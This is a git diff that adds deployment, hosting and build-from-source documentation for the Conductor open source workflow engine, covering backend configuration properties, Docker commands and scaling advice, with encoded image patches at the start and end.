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 literal 0 HcmV?d00001 diff --git a/docs/devguide/running/deploy.md b/docs/devguide/running/deploy.md new file mode 100644 index 0000000..6c18cca --- /dev/null +++ b/docs/devguide/running/deploy.md @@ -0,0 +1,639 @@ +--- +description: "Deploy Conductor as a self-hosted workflow engine in production — architecture overview, horizontal scaling, database, queue, indexing, and lock configuration, workflow monitoring, and recommended production deployment settings for this open source workflow orchestration platform." +--- + +# Self-hosted deployment guide + +Conductor is a self-hosted, open source workflow engine that you deploy on your own infrastructure. This production deployment guide covers everything you need to run Conductor at scale: architecture, backend configuration, horizontal scaling, workflow monitoring, and tuning. + +## Architecture overview + +A Conductor deployment consists of these components: + +![Conductor Architecture](../architecture/conductor-architecture.png) + +**What each component does:** + +| Component | Role | +|:--|:--| +| **API Server** | Exposes REST and gRPC endpoints for workflow and task operations. | +| **Decider** | The core state machine. Evaluates workflow state and schedules the next set of tasks. | +| **Sweeper** | Background process that polls for running workflows and triggers the decider to evaluate them. Required for progress on long-running workflows. | +| **System Task Workers** | Execute built-in task types (HTTP, Event, Wait, Inline, JSON_JQ, etc.) within the server JVM. | +| **Event Processor** | Listens to configured event buses and triggers workflows or completes tasks based on incoming events. | +| **Database** | Persists workflow definitions, execution state, task state, and poll data. | +| **Queue** | Manages task scheduling — pending tasks, delayed tasks, and the sweeper's own work queue. | +| **Index** | Powers workflow and task search in the UI and via the search API. | +| **Lock** | Distributed lock that prevents concurrent decider evaluations of the same workflow. **Required in production.** | + +--- + +## Quick start with Docker Compose + +For local development and evaluation: + +```shell +git clone https://github.com/conductor-oss/conductor +cd conductor +docker compose -f docker/docker-compose.yaml up +``` + +This starts Conductor with Redis (database + queue), Elasticsearch (indexing), and the server with UI on port **8080**. + +| URL | Description | +|:----|:---| +| `http://localhost:8080` | Conductor UI | +| `http://localhost:8080/swagger-ui/index.html` | REST API docs | +| `http://localhost:8080/api/` | API base URL | + +Pre-built compose files for other backend combinations: + +| Compose file | Database | Queue | Index | +|:--|:--|:--|:--| +| `docker-compose.yaml` | Redis | Redis | Elasticsearch 7 | +| `docker-compose-es8.yaml` | Redis | Redis | Elasticsearch 8 | +| `docker-compose-postgres.yaml` | PostgreSQL | PostgreSQL | PostgreSQL | +| `docker-compose-postgres-es7.yaml` | PostgreSQL | PostgreSQL | Elasticsearch 7 | +| `docker-compose-mysql.yaml` | MySQL | Redis | Elasticsearch 7 | +| `docker-compose-redis-os2.yaml` | Redis | Redis | OpenSearch 2 | +| `docker-compose-redis-os3.yaml` | Redis | Redis | OpenSearch 3 | + +```shell +# Example: PostgreSQL for everything +docker compose -f docker/docker-compose-postgres.yaml up + +# Example: Redis + Elasticsearch 8 +docker compose -f docker/docker-compose-es8.yaml up + +# Example: Redis + OpenSearch 3 +docker compose -f docker/docker-compose-redis-os3.yaml up +``` + +For Elasticsearch 8, set `conductor.indexing.type=elasticsearch8` and use +`config-redis-es8.properties` or an equivalent custom config. + +--- + +## Production configuration + +All configuration is done via Spring Boot properties in `application.properties` or environment variables. Properties can also be mounted as a Docker volume. + +### Database + +The database stores workflow definitions, execution state, task state, and event handler definitions. + +```properties +conductor.db.type=postgres +``` + +**Supported database backends:** + +| Backend | Property value | When to use | Notes | +|:--|:--|:--|:--| +| PostgreSQL | `postgres` | **Recommended for production.** ACID, battle-tested, supports indexing too. | Requires `spring.datasource.*` config. | +| MySQL | `mysql` | Production alternative if your team already runs MySQL. | Requires `spring.datasource.*` config. Needs separate queue backend (Redis). | +| Redis | `redis_standalone` | Fast, simple. Good for moderate scale. | Requires `conductor.redis.*` config. | +| Cassandra | `cassandra` | High write throughput, multi-region. | Requires `conductor.cassandra.*` config. | +| SQLite | `sqlite` | **Local development only.** Single-file, zero config. | Default. Not for production. | + +#### PostgreSQL + +```properties +conductor.db.type=postgres +conductor.external-payload-storage.type=postgres + +spring.datasource.url=jdbc:postgresql://db-host:5432/conductor +spring.datasource.username=conductor +spring.datasource.password= + +# Optional tuning +conductor.postgres.deadlockRetryMax=3 +conductor.postgres.taskDefCacheRefreshInterval=60s +conductor.postgres.asyncMaxPoolSize=12 +conductor.postgres.asyncWorkerQueueSize=100 +``` + +#### MySQL + +```properties +conductor.db.type=mysql + +spring.datasource.url=jdbc:mysql://db-host:3306/conductor +spring.datasource.username=conductor +spring.datasource.password= + +# Optional tuning +conductor.mysql.deadlockRetryMax=3 +conductor.mysql.taskDefCacheRefreshInterval=60s +``` + +#### Redis + +```properties +conductor.db.type=redis_standalone + +# Format: host:port:rack (semicolon-separated for multiple hosts) +conductor.redis.hosts=redis-host:6379:us-east-1c +conductor.redis.workflowNamespacePrefix=conductor +conductor.redis.queueNamespacePrefix=conductor_queues +conductor.redis.taskDefCacheRefreshInterval=1s + +# Connection pool +conductor.redis.maxIdleConnections=8 +conductor.redis.minIdleConnections=5 + +# SSL +conductor.redis.ssl=false + +# Auth (password is taken from the first host entry: host:port:rack:password) +# Or set conductor.redis.username and conductor.redis.password directly +``` + +--- + +### Queue + +The queue backend manages task scheduling — it tracks which tasks are pending, delayed, or ready for execution. The sweeper and system task workers all depend on it. + +```properties +conductor.queue.type=postgres +``` + +**Supported queue backends:** + +| Backend | Property value | When to use | +|:--|:--|:--| +| PostgreSQL | `postgres` | Use when database is also PostgreSQL. Simplest stack. | +| Redis | `redis_standalone` | Use when database is Redis or MySQL. Fast, low-latency. | +| SQLite | `sqlite` | Local development only. | + +!!! tip "Match your queue backend to your database" + PostgreSQL database + PostgreSQL queue is the simplest production stack — one fewer dependency. If you use MySQL for the database, pair it with Redis for the queue. + +--- + +### Indexing + +The indexing backend powers workflow and task search in the UI and via the `/api/workflow/search` and `/api/tasks/search` endpoints. + +```properties +conductor.indexing.enabled=true +conductor.indexing.type=postgres +``` + +**Supported indexing backends:** + +| Backend | Property value | When to use | Notes | +|:--|:--|:--|:--| +| PostgreSQL | `postgres` | Simplest stack when database is also PostgreSQL. | Set `conductor.elasticsearch.version=0` to disable ES client. | +| Elasticsearch 7 | `elasticsearch` | Best search performance at scale. Full-text search. | Set `conductor.elasticsearch.version=7`. | +| Elasticsearch 8 | `elasticsearch8` | Use when running the ES8 persistence module. | Set `conductor.elasticsearch.version=8`. | +| OpenSearch 2 | `opensearch2` | Open-source ES alternative. | Compatible with ES 7 queries. | +| OpenSearch 3 | `opensearch3` | Latest OpenSearch. | | +| SQLite | `sqlite` | Local development only. | | +| Disabled | N/A | Set `conductor.indexing.enabled=false`. UI search won't work. | | + +#### PostgreSQL indexing + +```properties +conductor.indexing.enabled=true +conductor.indexing.type=postgres +# Disable Elasticsearch client +conductor.elasticsearch.version=0 +``` + +#### Elasticsearch 7 + +```properties +conductor.indexing.enabled=true +conductor.elasticsearch.url=http://es-host:9200 +conductor.elasticsearch.version=7 +conductor.elasticsearch.indexName=conductor +conductor.elasticsearch.clusterHealthColor=yellow + +# Performance tuning +conductor.elasticsearch.indexBatchSize=1 +conductor.elasticsearch.asyncMaxPoolSize=12 +conductor.elasticsearch.asyncWorkerQueueSize=100 +conductor.elasticsearch.asyncBufferFlushTimeout=10s +conductor.elasticsearch.indexShardCount=5 +conductor.elasticsearch.indexReplicasCount=1 + +# Auth (if using security) +conductor.elasticsearch.username=elastic +conductor.elasticsearch.password= +``` + +#### Elasticsearch 8 + +```properties +conductor.indexing.enabled=true +conductor.indexing.type=elasticsearch8 +conductor.elasticsearch.url=http://es-host:9200 +conductor.elasticsearch.version=8 +conductor.elasticsearch.indexName=conductor +conductor.elasticsearch.clusterHealthColor=yellow +``` + +#### OpenSearch + +```properties +conductor.indexing.enabled=true +conductor.indexing.type=opensearch2 # or opensearch3 +conductor.opensearch.url=http://os-host:9200 +conductor.opensearch.indexPrefix=conductor +conductor.opensearch.clusterHealthColor=yellow +conductor.opensearch.indexReplicasCount=0 +``` + +#### Async indexing + +For high-throughput deployments, enable async indexing to decouple the indexing path from the workflow execution path: + +```properties +conductor.app.asyncIndexingEnabled=true +conductor.app.asyncUpdateShortRunningWorkflowDuration=30s +conductor.app.asyncUpdateDelay=60s +``` + +#### Indexing toggles + +Control what gets indexed: + +```properties +conductor.app.taskIndexingEnabled=true +conductor.app.taskExecLogIndexingEnabled=true +conductor.app.eventMessageIndexingEnabled=true +conductor.app.eventExecutionIndexingEnabled=true +``` + +--- + +### Locking + +!!! warning "Required for production" + Distributed locking prevents race conditions when multiple server instances evaluate the same workflow concurrently. **Always enable locking in production with a distributed lock provider** (Redis or Zookeeper). + +```properties +conductor.workflow-execution-lock.type=redis +conductor.app.workflowExecutionLockEnabled=true +``` + +**Supported lock providers:** + +| Provider | Property value | When to use | +|:--|:--|:--| +| Redis | `redis` | **Recommended.** Use when Redis is already in the stack. | +| Zookeeper | `zookeeper` | Use when Zookeeper is available (e.g. Kafka deployments). | +| Local | `local_only` | Single-instance development only. **Not safe for multi-instance.** | + +#### Redis lock + +```properties +conductor.workflow-execution-lock.type=redis +conductor.app.workflowExecutionLockEnabled=true +conductor.app.lockLeaseTime=60000 # lock held for max 60s +conductor.app.lockTimeToTry=500 # wait up to 500ms to acquire + +conductor.redis-lock.serverType=SINGLE # SINGLE, CLUSTER, or SENTINEL +conductor.redis-lock.serverAddress=redis://redis-host:6379 +# conductor.redis-lock.serverPassword= +# conductor.redis-lock.serverMasterName=master # for Sentinel +# conductor.redis-lock.namespace=conductor # key prefix +conductor.redis-lock.ignoreLockingExceptions=false +``` + +> **Sentinel with multiple endpoints:** When using `SENTINEL` server type, you can provide +> multiple sentinel addresses separated by semicolons for improved high availability: +> ```properties +> conductor.redis-lock.serverType=SENTINEL +> conductor.redis-lock.serverAddress=redis://sentinel-0:26379;redis://sentinel-1:26379 +> conductor.redis-lock.serverMasterName=mymaster +> ``` +> This ensures the lock client can discover the master even if one sentinel node is down. + +#### Zookeeper lock + +```properties +conductor.workflow-execution-lock.type=zookeeper +conductor.app.workflowExecutionLockEnabled=true +conductor.app.lockLeaseTime=60000 +conductor.app.lockTimeToTry=500 + +conductor.zookeeper-lock.connectionString=zk1:2181,zk2:2181,zk3:2181 +# conductor.zookeeper-lock.sessionTimeoutMs=60000 +# conductor.zookeeper-lock.connectionTimeoutMs=15000 +# conductor.zookeeper-lock.namespace=conductor +``` + +--- + +### Sweeper + +The sweeper is a background process that monitors running workflows. It polls the queue for workflows that need evaluation and triggers the decider. Without the sweeper, long-running workflows will not make progress. + +The sweeper runs automatically as part of the Conductor server. Tune the thread count based on your workflow volume: + +```properties +# Number of sweeper threads (default: availableProcessors * 2) +conductor.app.sweeperThreadCount=8 + +# How long to wait when polling the sweep queue (default: 2000ms) +conductor.app.sweeperWorkflowPollTimeout=2000 + +# Batch size per sweep poll (default: 2) +conductor.app.sweeper.sweepBatchSize=2 + +# Queue pop timeout in ms (default: 100) +conductor.app.sweeper.queuePopTimeout=100 +``` + +!!! tip "Sweeper sizing" + Start with `sweeperThreadCount = 2 * CPU cores`. If you see workflows stuck in RUNNING state, increase it. If CPU usage is high on idle, decrease it. + +--- + +### System task workers + +System task workers execute built-in task types (HTTP, Event, Wait, Inline, JSON_JQ_TRANSFORM, etc.) inside the Conductor server JVM. They poll internal queues for scheduled system tasks and execute them. + +```properties +# Number of system task worker threads (default: availableProcessors * 2) +conductor.app.systemTaskWorkerThreadCount=20 + +# Max number of tasks to poll at once (default: same as thread count) +conductor.app.systemTaskMaxPollCount=20 + +# Poll interval (default: 50ms) +conductor.app.systemTaskWorkerPollInterval=50ms + +# Callback duration — how often to re-check async system tasks (default: 30s) +conductor.app.systemTaskWorkerCallbackDuration=30s + +# Queue pop timeout (default: 100ms) +conductor.app.systemTaskQueuePopTimeout=100ms +``` + +#### Running system task workers separately + +In large deployments, you may want to run system task workers on dedicated instances, separate from the API server. Use the **execution namespace** to isolate which instance handles system tasks: + +```properties +# On API-only instances — set a namespace that no system task worker listens on +conductor.app.systemTaskWorkerExecutionNamespace=api-only +conductor.app.systemTaskWorkerThreadCount=0 + +# On dedicated system task worker instances — match the namespace +conductor.app.systemTaskWorkerExecutionNamespace=worker-pool-1 +conductor.app.systemTaskWorkerThreadCount=40 +conductor.app.systemTaskMaxPollCount=40 +``` + +#### Isolated system task workers + +For task domain isolation (routing specific tasks to specific worker groups): + +```properties +# Threads per isolation group (default: 1) +conductor.app.isolatedSystemTaskWorkerThreadCount=4 +``` + +#### Postpone threshold + +When a system task has been polled many times without completing (e.g. a Join waiting for branches), Conductor progressively delays re-evaluation to avoid busy-polling: + +```properties +# After this many polls, begin exponential backoff (default: 200) +conductor.app.systemTaskPostponeThreshold=200 +``` + +--- + +### Event processing + +The event processor listens to configured event buses and triggers workflows or completes tasks based on incoming events. + +```properties +# Thread count for event processing (default: 2) +conductor.app.eventProcessorThreadCount=4 + +# Event queue polling +conductor.app.eventQueueSchedulerPollThreadCount=4 # default: CPU cores +conductor.app.eventQueuePollInterval=100ms +conductor.app.eventQueuePollCount=10 +conductor.app.eventQueueLongPollTimeout=1000ms +``` + +See the [Event-driven recipes](../cookbook/event-driven.md) for configuring Kafka, NATS, AMQP, and SQS event queues. + +--- + +### Payload size limits + +Conductor enforces payload size limits to prevent oversized data from degrading performance. When a payload exceeds the threshold, it is automatically stored in external payload storage (S3, PostgreSQL, or Azure Blob). + +```properties +# Workflow input/output — threshold to move to external storage (default: 5120 KB) +conductor.app.workflowInputPayloadSizeThreshold=5120KB +conductor.app.workflowOutputPayloadSizeThreshold=5120KB + +# Workflow input/output — hard limit, fails the workflow (default: 10240 KB) +conductor.app.maxWorkflowInputPayloadSizeThreshold=10240KB +conductor.app.maxWorkflowOutputPayloadSizeThreshold=10240KB + +# Task input/output — threshold to move to external storage (default: 3072 KB) +conductor.app.taskInputPayloadSizeThreshold=3072KB +conductor.app.taskOutputPayloadSizeThreshold=3072KB + +# Task input/output — hard limit, fails the task (default: 10240 KB) +conductor.app.maxTaskInputPayloadSizeThreshold=10240KB +conductor.app.maxTaskOutputPayloadSizeThreshold=10240KB + +# Workflow variables — hard limit (default: 256 KB) +conductor.app.maxWorkflowVariablesPayloadSizeThreshold=256KB +``` + +For external payload storage configuration, see [External Payload Storage](../../documentation/advanced/externalpayloadstorage.md). + +--- + +### Workflow monitoring and observability + +Conductor exposes Prometheus-compatible metrics out of the box for workflow monitoring and observability: + +```properties +conductor.metrics-prometheus.enabled=true +management.endpoints.web.exposure.include=health,info,prometheus +management.metrics.web.server.request.autotime.percentiles=0.50,0.75,0.90,0.95,0.99 +management.endpoint.health.show-details=always +``` + +Scrape `http://:8080/actuator/prometheus` with Prometheus. + +For details on available metrics, see [Server Metrics](../../documentation/metrics/server.md) and [Client Metrics](../../documentation/metrics/client.md). + +--- + +## Recommended production configurations + +### PostgreSQL stack (simplest) + +One database for everything — fewest moving parts. + +```properties +# Database +conductor.db.type=postgres +conductor.queue.type=postgres +conductor.external-payload-storage.type=postgres +spring.datasource.url=jdbc:postgresql://db-host:5432/conductor +spring.datasource.username=conductor +spring.datasource.password= + +# Indexing (use PostgreSQL, no Elasticsearch needed) +conductor.indexing.enabled=true +conductor.indexing.type=postgres +conductor.elasticsearch.version=0 + +# Locking (use Redis — lightweight, fast) +conductor.workflow-execution-lock.type=redis +conductor.app.workflowExecutionLockEnabled=true +conductor.redis-lock.serverAddress=redis://redis-host:6379 + +# Sweeper +conductor.app.sweeperThreadCount=8 + +# System task workers +conductor.app.systemTaskWorkerThreadCount=20 +conductor.app.systemTaskMaxPollCount=20 + +# Metrics +conductor.metrics-prometheus.enabled=true +management.endpoints.web.exposure.include=health,info,prometheus +``` + +### Redis + Elasticsearch stack (high throughput) + +Best search performance and lowest latency for queue operations. + +```properties +# Database + Queue +conductor.db.type=redis_standalone +conductor.queue.type=redis_standalone +conductor.redis.hosts=redis-host:6379:us-east-1c +conductor.redis.workflowNamespacePrefix=conductor +conductor.redis.queueNamespacePrefix=conductor_queues + +# Indexing +conductor.indexing.enabled=true +conductor.elasticsearch.url=http://es-host:9200 +conductor.elasticsearch.version=7 +conductor.elasticsearch.indexName=conductor +conductor.elasticsearch.clusterHealthColor=yellow +conductor.app.asyncIndexingEnabled=true + +# Locking +conductor.workflow-execution-lock.type=redis +conductor.app.workflowExecutionLockEnabled=true +conductor.redis-lock.serverAddress=redis://redis-host:6379 + +# Sweeper +conductor.app.sweeperThreadCount=16 + +# System task workers +conductor.app.systemTaskWorkerThreadCount=40 +conductor.app.systemTaskMaxPollCount=40 + +# Metrics +conductor.metrics-prometheus.enabled=true +management.endpoints.web.exposure.include=health,info,prometheus +``` + +--- + +## Running with Docker + +### Using Docker Compose + +```shell +git clone https://github.com/conductor-oss/conductor +cd conductor +docker compose -f docker/docker-compose.yaml up +``` + +To use a different backend, swap the compose file: + +```shell +docker compose -f docker/docker-compose-postgres.yaml up +``` + +### Using the standalone image + +```shell +docker run -p 8080:8080 conductoross/conductor:latest +``` + +### Custom configuration via volume mount + +Mount your own properties file to override the defaults without rebuilding the image: + +```shell +docker run -p 8080:8080 \ + -v /path/to/my-config.properties:/app/config/config.properties \ + conductoross/conductor:latest +``` + +### Accessing Conductor + +| URL | Description | +|:----|:---| +| `http://localhost:8080` | Conductor UI | +| `http://localhost:8080/swagger-ui/index.html` | REST API docs | + +### Shutting down + +```shell +# Ctrl+C to stop, then: +docker compose down +``` + +--- + +## Multi-instance deployment and horizontal scaling + +For high availability and horizontal scaling, run multiple Conductor server instances behind a load balancer. All instances share the same database, queue, index, and lock backends. This architecture enables workflow engine scalability to millions of concurrent executions. + +**Requirements:** + +- **Distributed locking must be enabled** (`redis` or `zookeeper`). Without it, concurrent decider evaluations on the same workflow will cause race conditions. +- All instances must point to the same database, queue, and indexing backends. +- The load balancer should use round-robin or least-connections routing. + +**Optional: separate API and worker instances:** + +``` +┌──────────────────┐ ┌──────────────────┐ +│ API Instance 1 │ │ API Instance 2 │ ← handle REST/gRPC, low system task threads +│ (systemTask=0) │ │ (systemTask=0) │ +└────────┬─────────┘ └────────┬─────────┘ + │ │ + ┌────┴────────────────────────┴────┐ + │ Load Balancer │ + └────┬────────────────────────┬────┘ + │ │ +┌────────┴──────────┐ ┌───────┴───────────┐ +│ Worker Instance │ │ Worker Instance │ ← high system task threads, sweeper +│ (systemTask=40) │ │ (systemTask=40) │ +└───────────────────┘ └───────────────────┘ +``` + +--- + +## Troubleshooting + +| Issue | Fix | +|:--|:--| +| Out of memory or slow performance | Check JVM heap usage and adjust `-Xms` / `-Xmx` as necessary. Monitor with `jstat` or the `/actuator/health` endpoint. | +| Elasticsearch stuck in yellow health | Set `conductor.elasticsearch.clusterHealthColor=yellow` or add more ES nodes for green. | +| Workflows stuck in RUNNING | Check sweeper is running and `sweeperThreadCount > 0`. Check lock provider is reachable. | +| System tasks not executing | Verify `systemTaskWorkerThreadCount > 0` and the queue backend is reachable. | +| Config changes not taking effect | Properties are baked into the Docker image at build time. Mount a volume instead of rebuilding. | diff --git a/docs/devguide/running/hosted.md b/docs/devguide/running/hosted.md new file mode 100644 index 0000000..b84692e --- /dev/null +++ b/docs/devguide/running/hosted.md @@ -0,0 +1,20 @@ +--- +description: "Hosted Solutions — run Conductor in the cloud with Orkes, offering enterprise-grade hosting and managed infrastructure." +--- +# Hosted Solutions + +## Orkes +[Orkes](https://orkes.io) offers a cloud-hosted, enterprise-grade version of Conductor, enabling teams to get started with minimal operational overhead. Besides full compatibility with Conductor OSS, Orkes Conductor provides [additional features](https://www.orkes.io/platform/conductor-oss-vs-orkes) not available in the open source release. + +Here are the options for using Conductor via Orkes: + +- Developer Edition +- Cloud Hosting Plans + +Orkes also operates a [Discourse](https://community.orkes.io/) forum for the community to discuss and share how to use Conductor. + +### Developer Edition +The free Orkes Developer Edition for Conductor is available at [developer.orkescloud.com](https://developer.orkescloud.com/). The Developer Edition comes with all of Orkes' enterprise features, including a visual workflow editor, AI orchestration suite, event-driven connectors, human-in-the-loop tasks, and more. You can create and execute workflows from the UI or API. + +### Cloud Hosted Conductor +Orkes provides multiple options of hosted Conductor clusters in the cloud (AWS, Azure, and GCP, in addition to private clouds) with enterprise support provided by the Orkes team. Learn more about [Orkes Cloud here](https://orkes.io/cloud). \ No newline at end of file diff --git a/docs/devguide/running/source.md b/docs/devguide/running/source.md new file mode 100644 index 0000000..2be4b8a --- /dev/null +++ b/docs/devguide/running/source.md @@ -0,0 +1,83 @@ +--- +description: "Building from Source — build and run the Conductor server and UI locally from source for development and testing." +--- +# Building from source + +Build and run Conductor server and UI locally from source. The default configuration uses in-memory persistence with no indexing — all data is lost when the server stops. This setup is for development and testing only. + +For persistent backends, use [Docker Compose](deploy.md) or configure a database backend. + + +## Prerequisites + +- Java (JDK) 21+ +- (Optional) [Docker](https://www.docker.com/get-started/) for running tests + + +## Building and running the server + +1. Clone the repository: + + ```shell + git clone https://github.com/conductor-oss/conductor.git + cd conductor + ``` + +2. Run with Gradle: + + ```shell + cd server + ../gradlew bootRun + ``` + + To use a custom configuration file: + + ```shell + CONFIG_PROP=config.properties ../gradlew bootRun + ``` + +3. The server is now running: + + | URL | Description | + |:----|:---| + | `http://localhost:8080` | Conductor UI | + | `http://localhost:8080/swagger-ui/index.html` | REST API docs | + | `http://localhost:8080/api/` | API base URL | + + +## Running from a pre-compiled JAR + +As an alternative to building from source, download and run the pre-compiled JAR: + +```shell +export CONDUCTOR_VER=3.21.10 +export REPO_URL=https://repo1.maven.org/maven2/org/conductoross/conductor-server +curl $REPO_URL/$CONDUCTOR_VER/conductor-core-$CONDUCTOR_VER-boot.jar \ + --output conductor-core-$CONDUCTOR_VER-boot.jar +java -jar conductor-core-$CONDUCTOR_VER-boot.jar +``` + + +## Running the UI from source + +### Prerequisites + +- A running Conductor server on port 8080 +- [Node.js](https://nodejs.org) v18+ +- [Yarn](https://classic.yarnpkg.com/en/docs/install) + +### Steps + +```shell +cd ui +yarn install +yarn run start +``` + +The UI is accessible at [http://localhost:5000](http://localhost:5000). + +To build compiled assets for production hosting: + +```shell +yarn build +``` diff --git a/docs/devguide/running/swagger.png b/docs/devguide/running/swagger.png new file mode 100644 index 0000000000000000000000000000000000000000..13a23bc4d74612013c8ab53f7a0fcc7fc742007c GIT binary patch literal 306354 